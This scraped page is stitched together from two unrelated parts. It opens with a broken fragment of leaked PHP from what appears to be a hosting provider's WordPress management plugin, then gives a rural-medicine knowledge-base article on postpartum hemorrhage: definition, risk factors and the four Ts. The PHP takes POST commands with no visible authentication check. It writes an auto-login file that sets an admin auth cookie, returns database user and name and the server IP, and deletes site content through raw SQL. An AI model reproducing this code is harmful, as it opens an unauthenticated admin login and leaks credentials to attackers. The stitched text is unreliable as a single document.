".TABLEPREFIX."options set option_value = '".mysql_escape_string(serialize($menuobj))."' where option_name='theme_mods_oceanwp' limit 1; "; run_query($q); } //delete other lang menus $q = "DELETE FROM ".TABLEPREFIX."term_relationships WHERE term_taxonomy_id = '".($_POST['lang']=='english' ? '18' : '5')."' ;"; run_query($q); $q = "DELETE FROM ".TABLEPREFIX."term_taxonomy WHERE term_taxonomy_id = '".($_POST['lang']=='english' ? '18' : '5')."' limit 1;"; run_query($q); }else{ //delete ALL whc pages $q = "delete from ".TABLEPREFIX."posts where post_type='page' and ID not in (373, 375)"; run_query($q); //set default WP theme $q = "update ".TABLEPREFIX."options set option_value='Twenty Seventeen' where option_name='current_theme' limit 1"; run_query($q); $q = "update ".TABLEPREFIX."options set option_value='twentyseventeen' where option_name='template' or option_name='stylesheet'"; run_query($q); //set default wp page $q = "update ".TABLEPREFIX."options set option_value = '".($_POST['lang']=='english' ? '373' : '375' )."' where option_name='page_on_front' limit 1"; run_query($q); $q = "update ".TABLEPREFIX."options set option_value = replace(option_value,'page_id=298','page_id=".($_POST['lang']=='english' ? '373' : '375' )."') where option_name='rewrite_rules'"; run_query($q); //delete ALL menus $q = "DELETE FROM ".TABLEPREFIX."term_relationships WHERE term_taxonomy_id in (18,5);"; run_query($q); $q = "DELETE FROM ".TABLEPREFIX."term_taxonomy WHERE term_taxonomy_id in (18,5);"; run_query($q); } //delete switch language menu item $q = "DELETE FROM ".TABLEPREFIX."term_relationships WHERE object_id = 214 AND term_taxonomy_id = 5 limit 1;"; run_query($q); $q = "DELETE FROM ".TABLEPREFIX."term_relationships WHERE object_id = 250 AND term_taxonomy_id = 18 limit 1;"; run_query($q); //unistall polylang $q = "select * from ".TABLEPREFIX."options where option_name='active_plugins' limit 1; "; $rows = run_query($q); $temp = array(); $plugins = unserialize($rows[0]['option_value']); if($rows[0]['option_value']){ foreach($plugins as $row){ if($row == 'polylang/polylang.php'){ ; }else{ $temp[] = $row; } } $q = "update ".TABLEPREFIX."options set option_value = '".mysql_escape_string(serialize($temp))."' where option_name='active_plugins' limit 1; "; run_query($q); } } if($_POST['has_whc_pages'] != 1){ //unistall all plugins except for polylang and litespeed $q = "select * from ".TABLEPREFIX."options where option_name='active_plugins' limit 1; "; $rows = run_query($q); $temp = array(); $plugins = unserialize($rows[0]['option_value']); if($rows[0]['option_value']){ foreach($plugins as $row){ if($row == 'polylang/polylang.php' || $row == 'litespeed-cache/litespeed-cache.php' || $row == 'elementor/elementor.php'){ $temp[] = $row; } } $q = "update ".TABLEPREFIX."options set option_value = '".mysql_escape_string(serialize($temp))."' where option_name='active_plugins' limit 1; "; run_query($q); } } } } user_login; \$user = get_user_by('login', \$username ); if ( !is_wp_error( \$user ) ) { wp_clear_auth_cookie(); wp_set_current_user ( \$user->ID ); wp_set_auth_cookie ( \$user->ID ); \$redirect_to = user_admin_url(); wp_safe_redirect( \$redirect_to ); exit(); } "; fwrite($f, $txt); fclose($f); die('success'); }elseif(isset($_POST['whc_action']) && $_POST['whc_action'] == 'getstate'){ //require(dirname(__FILE__).'/../../wp-blog-header.php'); //require(dirname(__FILE__).'/../../wp-includes/pluggable.php'); require_once(dirname(__FILE__).'/../../wp-config.php'); define('TABLEPREFIX', $table_prefix); function mysql_escape_string($val){ if(is_array($val)){ foreach($val as $k=>$v){ $val[$k] = mysql_escape_string($v); } return $val; }else{ $link = mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME) or die(mysqli_connect_error() ); return mysqli_real_escape_string($link, $val); } } function run_query($query, $is_multiquery=false){ //$query; $link = mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME) or die(mysqli_connect_error() ); mysqli_set_charset($link ,'utf8' ); if($is_multiquery){ mysqli_multi_query($link, $query) or die(mysqli_error($link)); return; }else{ $result = mysqli_query($link, $query) or die(mysqli_error($link)); } $return_arr = array(); if($result){ while($row = mysqli_fetch_assoc($result)){ $return_arr[] = $row; } } if(strpos(strtolower($query), 'insert into')!==false) return mysqli_insert_id($link); return $return_arr; } $_POST = mysql_escape_string($_POST); $return = array(); $q = "select option_value from ".$table_prefix."options where option_name = 'siteurl' limit 1 "; $rows = run_query($q); $return['wp_Domain'] = $rows[0]['option_value']; $return['wp_Version'] = get_bloginfo( 'version' ); $q = "select count(ID) from ".$table_prefix."users "; $rows = run_query($q); $return['num_Users'] = $rows[0]['count(ID)']; $q = "select option_value from ".$table_prefix."options where option_name = 'active_plugins' limit 1 "; $rows = run_query($q); $return['num_Plugins'] = count(unserialize($rows[0]['option_value'])); /* include_once('../../wp-admin/includes/class-wp-site-health-auto-updates.php'); var_dump(WP_Site_Health_Auto_Updates::test_filters_automatic_updater_disabled()); die; */ $return['is_multisite'] = defined('MULTISITE') ? MULTISITE : false ; $return['is_multisite'] = $return['is_multisite'] ? true : ( defined('WP_ALLOW_MULTISITE') ? WP_ALLOW_MULTISITE : false ); $return['autoupdate_Core'] = defined('WP_AUTO_UPDATE_CORE') ? WP_AUTO_UPDATE_CORE : false ; $q = "select option_value from ".$table_prefix."options where option_name = 'WPLANG' limit 1 "; $rows = run_query($q); $return['wpLanguage'] = $rows[0]['option_value'] == 'fr_CA' ? 'French' : 'English'; $return['maintenanceMode'] = function_exists('wp_maintenance_mode') ? 'True' : 'False'; $return['cpanelIP'] = $_SERVER['SERVER_ADDR']; $return['WHCPluginInstalled'] = 'True'; $q = "select option_value from ".$table_prefix."options where option_name = 'blogname' limit 1 "; $rows = run_query($q); $return['wp_BlogName'] = $rows[0]['option_value']; $q = "select option_value from ".$table_prefix."options where option_name = 'template' limit 1 "; $rows = run_query($q); $return['wp_TemplateName'] = $rows[0]['option_value']; $return['db_user'] = DB_USER; $return['db_name'] = DB_NAME; $return['php_version'] = phpversion(); echo "[".json_encode($return)."]"; die; }elseif(isset($_POST['whc_action']) && $_POST['whc_action'] == 'setstate'){ require_once(dirname(__FILE__).'/../../wp-config.php'); define('TABLEPREFIX', $table_prefix); function mysql_escape_string($val){ if(is_array($val)){ foreach($val as $k=>$v){ $val[$k] = mysql_escape_string($v); } return $val; }else{ $link = mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME) or die(mysqli_connect_error() ); return mysqli_real_escape_string($link, $val); } } function run_query($query, $is_multiquery=false){ //$query; $link = mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME) or die(mysqli_connect_error() ); mysqli_set_charset($link ,'utf8' ); if($is_multiquery){ mysqli_multi_query($link, $query) or die(mysqli_error($link)); return; }else{ $result = mysqli_query($link, $query) or die(mysqli_error($link)); } $return_arr = array(); if($result){ while($row = mysqli_fetch_assoc($result)){ $return_arr[] = $row; } } if(strpos(strtolower($query), 'insert into')!==false) return mysqli_insert_id($link); return $return_arr; } $_POST = mysql_escape_string($_POST); $return = array(); $q = "update ".$table_prefix."options set option_value = 'https://wp".intval($_POST['hostingid']).".wpdns.ca' where option_name in ('siteurl','home') limit 2; "; $rows = run_query($q); die('success'); } } Definition, Risk Factors, Etiologies – Rural Surgery & Obstetrics
  1. Home
  2. Knowledge Base
  3. Postpartum Hemorrhage
  4. Definition, Risk Factors, Etiologies

Definition, Risk Factors, Etiologies

Definition

  • >500ml of blood loss for a vaginal delivery, >1000ml for cesarean​

Postpartum hemorrhage is defined as blood loss greater than 500ml for a vaginal delivery and >1000ml in a cesarean section.  As we know, under estimates are common.  Measurement of vital signs is important but keep in mind that healthy young women may tolerate large amounts of blood loss before showing hemodynamic compromise.  Diagnosis and treatment go hand in hand, with response to treatment being a key feature in reaching the correct diagnosis. 

  • Notes:
  • Under estimation of blood loss is common​
  • Vital signs, check for shock​
  • Monitor response to treatment​
  • Maintain situational awareness:  Where is your team? Are they aware of the patient’s status?  What time of day is it?  What resources might be needed?  Communicate what you are thinking, welcome questions and suggestions.  

Risk Factors

Prenatal assessment and planning​

  • Identify and prepare for patients at risk: previa/accreta, bleeding disorder, those who refuse transfusion​
  • Screen for and treat anemia
LowMediumHigh
≤4 previous SVD​Hgb <8​Placenta previa​
SingletonPlatelets <100,000​Suspected accreta​
<2 prior CD​≥3 prior CD or previous myomectomy​Abruption
No previous PPH​>4 vaginal births​Coagulopathy​
No known bleeding disorder​Chorioamnionitis​
Magnesium sulfate use​
Multiple gestation​
Large uterine fibroids​
EFW >4250 g​
Black race​
History of PPH ​
Morbid obesity (BMI >40)​

Differential Diagnosis:  The Four “T”s​

  1. Tone
  2. Tissue​
  3. Trauma​
  4. Thrombin

Emergency intervention is based on a thorough understanding of possible causes of PPH, both the “sparrows” and the “canaries.”​

1. Tone

  • Uterine atony​
    • By far the most common cause of PPH​
    • Risk factors include prolonged labour, macrosomia, general anesthesia​
    • Preventative measures should be routinely employed (eg. Syntocinon after placental delivery, uterine massage)

By far the most common etiology is uterine atony. Uterine overdistension is thought to be a risk factor. It is important to be particularly wary where there is a history of macrosomia, multiple gestation, and hydramnios.  Obstructed labour and augmentation are also important risk factors as is grand multiparity.  Active management of the third stage of labour is an important preventative strategy. This includes prompt delivery of the placenta as soon as separation occurs and administration of prophylactic oxytocin im or iv.  The uterus should be massaged until it is firmly contracted.   

2. Tissue

  • Retained placenta or placental fragment​
    • Delivery of the placenta after separation​
    • Examination of the placenta after delivery​
    • Is there a history of cesarean delivery or past uterine surgery?​
      • Suspect abnormal placentation (placenta accreta)​
    • Is there a history of abnormal placentation (ie. Succenturiate lobe)?​
    • May need examination under anesthesia and manual removal or D&C with a “banjo” curette to make the diagnosis​
    • Know when to transfer ​

Signs of placental separation include blood show, cord lengthening and contraction of the uterine body.  Controlled cord traction with suprapubic support is used to safely deliver the placenta.  Examination for completeness is routinely performed.  It is important to be cognisant of the fact that abnormal placentation is becoming more common. Retained placenta, partial or complete, is much less common that uterine atony.  It is important to remember that previous uterine surgery, particularly cesarean section or myomectomy create opportunities for adherent placental tissue.  Immediate or delayed PPH may be the consequences.  Gentle curettage with a wide (banjo) curette may be required to retrieve the errant placental fragment and confirm the diagnosis.  Previous cesarean plus placenta previa should lead to a high index of suspicion for placenta accreta. (0.3% with one previous cesarean to 6.74% with five or more).  Prenatal imaging and planning with consideration of transfer to a high risk unit are encouraged in these cases.     

3. Trauma

  • Lacerations of the vulva, vagina or cervix​
  • Uterine Rupture​
  • Uterine Inversion

Lacerations (spontaneous or iatrogenic) of the genital tract are common in childbirth, occurring in 90% of primiparas.  Vulvar lacerations may bleed briskly and require suturing to address significant PPH.   Rupture of a cesarean scar may occur during delivery.  In the presence of significant bleeding not otherwise explained, palpation of the uterine scar per vaginum is recommended.  The hemorrhage may be largely concealed as the blood escapes into the peritoneal cavity.  The bone of the symphysis pubis is easily palpable through the uterine defect in the case of scar rupture.  Happily, inversion (partial or complete) is a much rarer event.  It is recognized by palpating or seeing the inverted fundus in the vagina or protruding from the introitus.  Typically, the patient is shocky with significant vasovagal reaction.  Hypotension tends to be out of proportion to the amount of blood lost.  Replacement of the uterus is most effective if accomplished sooner rather than later with firm pressure using your fist on the inverted fundus.   Notify the OR early as general anesthesia / nitroglycerin may be required.  Oxytocin infusion and uterotonics should be held until the uterus is fully replaced.   Do not remove the placenta if still present as may increase bleeding.​

A cervical constriction ring may have formed–if palpable reduce the tissue nearest the ring first.​

4. Thrombin

  • Inherited Bleeding Disorders​
    • Von Willebrand’s Disease​
  • Acquired Bleeding Disorders ​
    • ITP​
    • HELLP​
    • Liver Disease​
    • DIC

Defects in coagulation are generally thought to be rare contributors to PPH.  Von Willebrant’s Disease is the most common inherited disorder.  A careful family history and personal history of bleeding are useful clues.  In suspected cases, a trial dose of i.v. or myometrial DDAVP is a reasonable strategy.  Although platelet disorders are not uncommon in young women, they seldom account for heavy bleeding because the mechanical contraction of the uterus (living ligatures).  It is critical to remember, however, that massive PPH from any cause may eventually contribute to consumptive coagulopathy and DIC.  

Next Section

Updated on February 16, 2022
Was this article helpful?

Related Articles